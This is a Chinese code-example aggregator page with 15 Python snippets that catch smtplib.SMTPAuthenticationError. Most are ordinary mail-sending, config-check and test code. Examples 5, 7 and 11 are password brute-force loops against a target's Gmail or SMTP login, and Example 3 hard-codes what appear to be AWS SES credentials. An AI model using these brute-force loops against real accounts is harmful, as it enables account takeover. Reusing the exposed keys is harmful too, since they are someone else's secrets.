當前位置: 首頁>>代碼示例>>Python>>正文


Python smtplib.SMTPAuthenticationError方法代碼示例

本文整理匯總了Python中smtplib.SMTPAuthenticationError方法的典型用法代碼示例。如果您正苦於以下問題:Python smtplib.SMTPAuthenticationError方法的具體用法?Python smtplib.SMTPAuthenticationError怎麽用?Python smtplib.SMTPAuthenticationError使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在smtplib的用法示例。


在下文中一共展示了smtplib.SMTPAuthenticationError方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: do_login

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def do_login(self):
        self.smtp.starttls()
        self.CONNECTED_TLS = True

        print self.CORE_STRING + " Attepting Sign In..."
        try:
            self.IS_LOGGED_IN = True
            self.smtp.login(self.GMAIL, self.PASSWORD)
            time.sleep(1)
            print self.INFO_STRING + " Logged In!"
            time.sleep(0.57)
            ## ATTEMPTING SMTP LOGIN

        except smtplib.SMTPAuthenticationError:
            self.SMTP_AUTHENTICATION_ERROR = True
            print self.ERROR_STRING + "SMTP Login Error :: Could Not Validate Credentials."
            return False
            sys.exit(1)

        except:
            pass 
開發者ID:StreetSec,項目名稱:Gloom-Framework,代碼行數:23,代碼來源:android_attack.py

示例2: inter_send_email

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def inter_send_email(
    username: str, password: str, sender_email: str, receiver_email: Union[str, List],
    message: str
):
    """
    Send email using SMTP
    """
    show_message("SMTP", message)

    click.confirm("Is the Email message ok?", abort=True)

    try:
        send_email(
            SMTP_SERVER, SMTP_PORT, username, password, sender_email, receiver_email, message,
        )
        click.secho("✅ Email sent successfully", fg="green")
    except smtplib.SMTPAuthenticationError:
        sys.exit("SMTP User authentication error, Email not sent!")
    except Exception as e:  # pylint: disable=broad-except
        sys.exit(f"SMTP exception {e}") 
開發者ID:apache,項目名稱:airflow,代碼行數:22,代碼來源:send_email.py

示例3: _send_message

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def _send_message(message):

    smtp = smtplib.SMTP_SSL('email-smtp.eu-west-1.amazonaws.com', 465)

    try:
        smtp.login(
            user='AKIAITZ6BSMD7DMZYTYQ',
            password='Ajf0ucUGJiN44N6IeciTY4ApN1os6JCeQqyglRSI2x4V')
    except SMTPAuthenticationError:
        return Response('Authentication failed',
                        status=HTTPStatus.UNAUTHORIZED)

    try:
        smtp.sendmail(message['From'], message['To'], message.as_string())
    except SMTPRecipientsRefused as e:
        return Response(f'Recipient refused {e}',
                        status=HTTPStatus.INTERNAL_SERVER_ERROR)
    finally:
        smtp.quit()

    return Response('Email sent', status=HTTPStatus.OK) 
開發者ID:PacktPublishing,項目名稱:Python-Programming-Blueprints,代碼行數:23,代碼來源:app.py

示例4: send

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def send(sender,to,password,port,subject,body):
        try:
            if not Mail.__disabled__:
                message = MIMEText(body)
                message['Subject'] = subject
                mail = smtplib.SMTP('smtp.gmail.com',port)
                mail.starttls()
                mail.login(sender,password)
                mail.sendmail(sender, to, message.as_string())
                mail.quit()
                Logging.log("INFO", "(Mail.send) - Sent email successfully!")
            else:
                Logging.log("WARN", "(Mail.send) - Sending mail has been disabled!")
        except smtplib.SMTPAuthenticationError:
            Logging.log("WARN", "(Mail.send) - Could not athenticate with password and username!")
        except Exception as e:
            Logging.log("ERROR",
                "(Mail.send) - Unexpected error in Mail.send() error e => "
                + str(e))
            pass 
開發者ID:amboxer21,項目名稱:SSHMonitor2.7,代碼行數:22,代碼來源:sshmonitor.py

示例5: login

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def login():
    i = 0
    usr = raw_input('What is the targets email address :')
    server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    server.ehlo()
    for passw in pass_lst:
      i = i + 1
      print str(i) + '/' + str(len(pass_lst))
      try:
         server.login(usr, passw)
         print '[+] Password Found: %s ' % passw
         break
      except smtplib.SMTPAuthenticationError as e:
         error = str(e)
         if error[14] == '<':
            print '[+] Password Found: %s ' % passw
            break
         else:
            print '[!] Password Incorrect: %s ' % passw 
開發者ID:xHak9x,項目名稱:gmailhack,代碼行數:21,代碼來源:gmailhack.py

示例6: send_email

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def send_email(recipient, subject, html_message, text_message):
    """ Send email from default sender to 'recipient' """
    # Make sure that Flask-Mail has been initialized
    mail_engine = mail
    if not mail_engine:
        return 'Flask-Mail has not been initialized. Initialize Flask-Mail or disable USER_SEND_PASSWORD_CHANGED_EMAIL, USER_SEND_REGISTERED_EMAIL and USER_SEND_USERNAME_CHANGED_EMAIL'

    try:

        # Construct Flash-Mail message
        message = Message(subject,
                          recipients=[recipient],
                          html=html_message,
                          body=text_message)
        return mail.send(message)

    # Print helpful error messages on exceptions
    except (socket.gaierror, socket.error) as e:
        return 'SMTP Connection error: Check your MAIL_SERVER and MAIL_PORT settings.'
    except smtplib.SMTPAuthenticationError:
        return 'SMTP Authentication error: Check your MAIL_USERNAME and MAIL_PASSWORD settings.' 
開發者ID:meolu,項目名稱:walle-web,代碼行數:23,代碼來源:emails.py

示例7: smtpBrute0x00

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def smtpBrute0x00(ip, usernames, passwords, port, delay):

    s = smtplib.SMTP(str(ip), port)
    for username in usernames:
        for password in passwords:
            try:
                s.ehlo()
                s.starttls()
                s.ehlo
                s.login(str(username), str(password))
                print(G + ' [+] Username: %s | Password found: %s\n' % (username, password))
                s.close()
            except smtplib.SMTPAuthenticationError:
                print(GR+ " [*] Checking : "+C+"Username: %s | "+B+"Password: %s "+R+"| Incorrect!\n" % (username, password))
                sleep(delay)
            except Exception as e:
                print(R+" [-] Error caught! Exception: "+str(e))
                pass
            except KeyboardInterrupt:
                s.close()
                sys.exit(1) 
開發者ID:VainlyStrain,項目名稱:Vaile,代碼行數:23,代碼來源:smtpbrute.py

示例8: connection_is_valid

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def connection_is_valid(self):
        """Check for valid config, verify connectivity."""
        server = None
        try:
            server = self.connect()
        except smtplib.socket.gaierror:
            _LOGGER.exception(
                "SMTP server not found (%s:%s). "
                "Please check the IP address or hostname of your SMTP server",
                self._server, self._port)
            return False

        except (smtplib.SMTPAuthenticationError, ConnectionRefusedError):
            _LOGGER.exception(
                "Login not possible. "
                "Please check your setting and/or your credentials")
            return False

        finally:
            if server:
                server.quit()

        return True 
開發者ID:Teagan42,項目名稱:HomeAssistantConfig,代碼行數:25,代碼來源:notify.py

示例9: clean

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def clean(self):
        cleaned_data = super().clean()
        smtp_email_backend = EmailBackend(
            host=cleaned_data.get('smtp_host'),
            port=cleaned_data.get('smtp_port'),
            username=cleaned_data.get('smtp_username'),
            password=cleaned_data.get('smtp_password'),
            use_tls=cleaned_data.get('smtp_use_tls'),
            fail_silently=False,
            use_ssl=cleaned_data.get('smtp_use_ssl'),
            timeout=cleaned_data.get('smtp_timeout'),
            ssl_keyfile=cleaned_data.get('smtp_ssl_keyfile'),
            ssl_certfile=cleaned_data.get('smtp_ssl_certfile')
        )
        try:
            smtp_email_backend.open()
        except ConnectionRefusedError:
            raise ValidationError(_('Connection refused'), code='connection_refused')
        except SMTPAuthenticationError as err:
            raise ValidationError(str(err), code='auth_error')
        return cleaned_data 
開發者ID:vitorfs,項目名稱:colossus,代碼行數:23,代碼來源:forms.py

示例10: inter_send_email

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def inter_send_email(username, password, sender_email, receiver_email, message):
    print("--------------------------")
    print("SMTP Message")
    print("--------------------------")
    print(message)
    print("--------------------------")
    confirm = input("Is the Email message ok? (yes/no): ")
    if confirm not in ("Yes", "yes", "y"):
        exit("Exit by user request")

    try:
        send_email(
            SMTP_SERVER,
            SMTP_PORT,
            username,
            password,
            sender_email,
            receiver_email,
            message,
        )
        print("Email sent successfully")
    except smtplib.SMTPAuthenticationError:
        exit("SMTP User authentication error, Email not sent!")
    except Exception as e:
        exit(f"SMTP exception {e}") 
開發者ID:apache,項目名稱:incubator-superset,代碼行數:27,代碼來源:send_email.py

示例11: gmailBruteForce

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def gmailBruteForce():
	smtp_server = smtplib.SMTP("smtp.gmail.com", 587)
	smtp_server.ehlo()
	smtp_server.starttls()

	target = raw_input("\t() Enter The Targets Email Address: ")
	passwfile = raw_input("\t() Enter the Password File Path: ")
	passwfile = open(passwfile, "r")

	for password in passwfile:
		try:
			smtp_server.login(target, password)
			cprint("\t\n[+] Password Found!: %s " % password, 'green')
			break

		except smtplib.SMTPAuthenticationError:
			cprint("\t[*] Trying Password: %s" % password, 'red') 
開發者ID:cys3c,項目名稱:secHub,代碼行數:19,代碼來源:sechub.py

示例12: smtp_password

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def smtp_password(self):
        c = self.connection

        try:
            c.login(self.smtp_username, self.auth_token)
        except smtplib.SMTPAuthenticationError as e:
            self.log.error('SMTP login refused', exc=e)
            raise SendMailException(
                'Could not authenticate with the SMTP server.', 403)
        except smtplib.SMTPException as e:
            # Raised by smtplib if the server doesn't support the AUTH
            # extension or doesn't support any of the implemented mechanisms.
            # Shouldn't really happen normally.
            self.log.error('SMTP auth failed due to unsupported mechanism',
                           exc=e)
            raise SendMailException(str(e), 403)

        self.log.info('SMTP Auth(Password) success') 
開發者ID:nylas,項目名稱:sync-engine,代碼行數:20,代碼來源:postel.py

示例13: send_mail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def send_mail(self, msg):
        if _mail.recip:
            # write message to temp file for rate limit
            with open(self.temp_msg, 'w+') as f:
                f.write(msg)

            self.current_time()

            message = MIMEMultipart()
            message['From'] = _mail.s_addr
            message['To'] = _mail.recip
            message['Subject'] = _mail.subject
            message['Date'] = formatdate(localtime=True)
            message.attach(MIMEText('{} {}'.format(self.time, msg), 'plain'))
            text = message.as_string()

            try:
                server = smtplib.SMTP(_mail.server, _mail.port)
            except socket.error as err:
                playout_logger.error(err)
                server = None

            if server is not None:
                server.starttls()
                try:
                    login = server.login(_mail.s_addr, _mail.s_pass)
                except smtplib.SMTPAuthenticationError as serr:
                    playout_logger.error(serr)
                    login = None

                if login is not None:
                    server.sendmail(_mail.s_addr, _mail.recip, text)
                    server.quit() 
開發者ID:ffplayout,項目名稱:ffplayout-engine,代碼行數:35,代碼來源:utils.py

示例14: testAUTH_LOGIN

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def testAUTH_LOGIN(self):
        self.serv.add_feature("AUTH LOGIN")
        smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15)
        try: smtp.login(sim_auth[0], sim_auth[1])
        except smtplib.SMTPAuthenticationError as err:
            if sim_auth_login_password not in str(err):
                raise "expected encoded password not found in error message" 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:9,代碼來源:test_smtplib.py

示例15: testAUTH_CRAM_MD5

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTPAuthenticationError [as 別名]
def testAUTH_CRAM_MD5(self):
        self.serv.add_feature("AUTH CRAM-MD5")
        smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15)

        try: smtp.login(sim_auth[0], sim_auth[1])
        except smtplib.SMTPAuthenticationError as err:
            if sim_auth_credentials['cram-md5'] not in str(err):
                raise "expected encoded credentials not found in error message"

    #TODO: add tests for correct AUTH method fallback now that the
    #test infrastructure can support it. 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:13,代碼來源:test_smtplib.py


注:本文中的smtplib.SMTPAuthenticationError方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。